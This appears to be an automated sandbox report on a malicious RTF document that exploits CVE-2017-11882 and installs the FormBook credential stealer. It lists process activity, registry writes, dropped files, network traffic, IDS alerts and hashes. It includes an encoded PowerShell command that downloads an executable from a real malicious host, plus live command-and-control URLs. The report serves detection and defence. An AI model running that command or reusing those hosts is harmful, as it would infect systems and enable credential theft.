| File name: | Reference copy.doc |
| Full analysis: | https://app.any.run/tasks/5590028f-1c27-4282-a926-4d84b5f07e4e |
| Verdict: | Malicious activity |
| Threats: | FormBook is a data stealer that is being distributed as a MaaS. FormBook differs from a lot of competing malware by its extreme ease of use that allows even the unexperienced threat actors to use FormBook virus. |
| Analysis date: | May 21, 2019, 01:45:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/rtf |
| File info: | Rich Text Format data, version 1, unknown character set |
| MD5: | CF28035D49364281A4FA26CB2E850112 |
| SHA1: | B209F498034C73B0041F16F255E401BC3C295BEE |
| SHA256: | C6F35700C40FC12E2AA9D3F28B4FCEFB3468374C0639D0A81870485587FB90E3 |
| SSDEEP: | 48:acSSebGDvTzDXi5xokbzjEsTlpen2HwDEEEEEEEEEEk:acSSCGDvrSxJFxU2sEEEEEEEEEEk |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 3708)
Equation Editor starts application (CVE-2017-11882)
- EQNEDT32.EXE (PID: 2924)
Application was dropped or rewritten from another process
- nvbackend.exe (PID: 3928)
Connects to CnC server
- explorer.exe (PID: 252)
Changes the autorun value in the registry
- help.exe (PID: 2876)
Formbook was detected
- Firefox.exe (PID: 2608)
- help.exe (PID: 2876)
Actions looks like stealing of personal data
- help.exe (PID: 2876)
FORMBOOK was detected
- explorer.exe (PID: 252)
Loads dropped or rewritten executable
- nvbackend.exe (PID: 3928)
Stealing of credential data
- help.exe (PID: 2876)
SUSPICIOUS
Reads internet explorer settings
- EQNEDT32.EXE (PID: 2924)
Creates files in the user directory
- EQNEDT32.EXE (PID: 2924)
- powershell.exe (PID: 3708)
- help.exe (PID: 2876)
Executed via COM
- EQNEDT32.EXE (PID: 2924)
Executes PowerShell scripts
- EQNEDT32.EXE (PID: 2924)
Executed via WMI
- cmd.exe (PID: 2880)
Executable content was dropped or overwritten
- nvbackend.exe (PID: 3928)
- powershell.exe (PID: 3708)
Starts CMD.EXE for commands execution
- help.exe (PID: 2876)
Loads DLL from Mozilla Firefox
- help.exe (PID: 2876)
INFO
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2952)
Starts Microsoft Office Application
- explorer.exe (PID: 252)
Creates files in the user directory
- WINWORD.EXE (PID: 2952)
- Firefox.exe (PID: 2608)
Manual execution by user
- help.exe (PID: 2876)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .rtf | | | Rich Text Format (100) |
|---|
Total processes
46
Monitored processes
10
Malicious processes
4
Suspicious processes
1
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 252 | C:\Windows\Explorer.EXE | C:\Windows\explorer.exe | ctfmon.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Explorer Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2608 | "C:\Program Files\Mozilla Firefox\Firefox.exe" | C:\Program Files\Mozilla Firefox\Firefox.exe | help.exe | ||||||||||||
User: admin Company: Mozilla Corporation Integrity Level: MEDIUM Description: Firefox Exit code: 0 Version: 65.0.2 Modules
| |||||||||||||||
| 2876 | "C:\Windows\System32\help.exe" | C:\Windows\System32\help.exe | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Command Line Help Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 2880 | cmd /c %temp%\nvbackend.exe | C:\Windows\system32\cmd.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2924 | "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding | C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE | svchost.exe | ||||||||||||
User: admin Company: Design Science, Inc. Integrity Level: MEDIUM Description: Microsoft Equation Editor Exit code: 0 Version: 00110900 Modules
| |||||||||||||||
| 2952 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Reference copy.doc.rtf" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3400 | "C:\Windows\system32\nslookup.exe" | C:\Windows\system32\nslookup.exe | — | nvbackend.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: nslookup Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3708 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w 1 -e aQBlAHgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABmAGkAbABlACgAIgBoAHQAdABwADoALwAvAGUAYwAuAHIAawAtAHMAdABvAHIAZQAuAG4AZQB0AC8AYgBsAG8AZwAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGMAaABpAGsAYQAuAGUAeABlACIALAAiACQAZQBuAHYAOgB0AGUAbQBwAFwAbgB2AGIAYQBjAGsAZQBuAGQALgBlAHgAZQAiACkAKQA7AA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | EQNEDT32.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3788 | /c del "C:\Windows\system32\nslookup.exe" | C:\Windows\System32\cmd.exe | — | help.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 3928 | C:\Users\admin\AppData\Local\Temp\nvbackend.exe | C:\Users\admin\AppData\Local\Temp\nvbackend.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
1 460
Read events
1 029
Write events
426
Delete events
5
Modification events
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | /v |
Value: 2F762000880B0000010000000000000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1320484894 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320485016 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1320485017 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 880B0000AE8C50EF760FD50100000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | :w |
Value: 3A772000880B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | :w |
Value: 3A772000880B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2952) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
3
Suspicious files
76
Text files
4
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVREA2F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IH5VX8X5WRDQL8HWM7U2.temp | — | |
MD5:— | SHA256:— | |||
| 3928 | nvbackend.exe | C:\Users\admin\AppData\Local\Temp\nse1D47.tmp | — | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$ference copy.doc.rtf | pgc | |
MD5:— | SHA256:— | |||
| 2924 | EQNEDT32.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\ztxZSpF0[1].txt | html | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF151007.TMP | binary | |
MD5:— | SHA256:— | |||
| 2924 | EQNEDT32.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@pastebin[1].txt | text | |
MD5:— | SHA256:— | |||
| 3708 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 3928 | nvbackend.exe | C:\Users\admin\AppData\Local\Temp\Scholiast | binary | |
MD5:— | SHA256:— | |||
| 2952 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
15
DNS requests
8
Threats
27
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
252 | explorer.exe | GET | — | 3.94.104.205:80 | http://www.yeshe.net/ch/?s0H=Q6cJi0XhsedoE3lWPzFVZVl0l3SiwWkUnpLjHduYmccM84nuGgVO+v7jORuxi/m80F2Ovg==&CZ=7nfxV4k&sql=1 | US | — | — | malicious |
252 | explorer.exe | GET | — | 184.168.221.51:80 | http://www.viewtube3d.com/ch/?s0H=E2OkJYBB/beZ73yxxhtvdLUSQUWi+NTNV6tbxueTqw20ZxQHZa2xp6iNY1loXd7Ewi620Q==&CZ=7nfxV4k&sql=1 | US | — | — | malicious |
3708 | powershell.exe | GET | 200 | 183.181.0.79:80 | http://ec.rk-store.net/blog/wp-includes/chika.exe | JP | executable | 363 Kb | malicious |
252 | explorer.exe | GET | 404 | 202.143.99.92:80 | http://www.shootthearrow.com/ch/?s0H=bUIShVL4Na1KDTkxvkEII5iIdSg+dBSeJQ1U+u1vsJyl3HqqPDDlon4hmrdowc/eACze1Q==&CZ=7nfxV4k | IN | html | 320 b | unknown |
252 | explorer.exe | POST | — | 192.0.78.24:80 | http://www.littlebearwords.com/ch/ | US | — | — | malicious |
252 | explorer.exe | POST | — | 192.0.78.24:80 | http://www.littlebearwords.com/ch/ | US | — | — | malicious |
252 | explorer.exe | POST | — | 3.94.104.205:80 | http://www.yeshe.net/ch/ | US | — | — | malicious |
252 | explorer.exe | POST | — | 3.94.104.205:80 | http://www.yeshe.net/ch/ | US | — | — | malicious |
252 | explorer.exe | POST | — | 3.94.104.205:80 | http://www.yeshe.net/ch/ | US | — | — | malicious |
252 | explorer.exe | GET | 301 | 192.0.78.24:80 | http://www.littlebearwords.com/ch/?s0H=roymgiV2d/20kJ6FenKGJwOzxpZy8In5zcMbVRg6dJVJaSy2MeHFO7nxiWSpaJGkRWppwA==&CZ=7nfxV4k&sql=1 | US | html | 162 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2924 | EQNEDT32.EXE | 104.20.208.21:443 | pastebin.com | Cloudflare Inc | US | shared |
3708 | powershell.exe | 183.181.0.79:80 | ec.rk-store.net | FreeBit Co.,Ltd. | JP | malicious |
252 | explorer.exe | 202.143.99.92:80 | www.shootthearrow.com | CtrlS Datacenters Ltd. | IN | unknown |
252 | explorer.exe | 192.0.78.24:80 | www.littlebearwords.com | Automattic, Inc | US | malicious |
252 | explorer.exe | 3.94.104.205:80 | www.yeshe.net | — | US | malicious |
252 | explorer.exe | 184.168.221.51:80 | www.viewtube3d.com | GoDaddy.com, LLC | US | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
pastebin.com |
| malicious |
ec.rk-store.net |
| malicious |
www.shootthearrow.com |
| unknown |
www.gloria-vintage.com |
| unknown |
www.singlemumlife.net |
| unknown |
www.littlebearwords.com |
| malicious |
www.yeshe.net |
| malicious |
www.viewtube3d.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3708 | powershell.exe | A Network Trojan was detected | ET TROJAN EXE Download Request To Wordpress Folder Likely Malicious |
3708 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3708 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] TrojanSpy:FormBook CnC Checkin (POST) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (POST) |
252 | explorer.exe | A Network Trojan was detected | MALWARE [PTsecurity] FormBook CnC Checkin (GET) |
8 ETPRO signatures available at the full report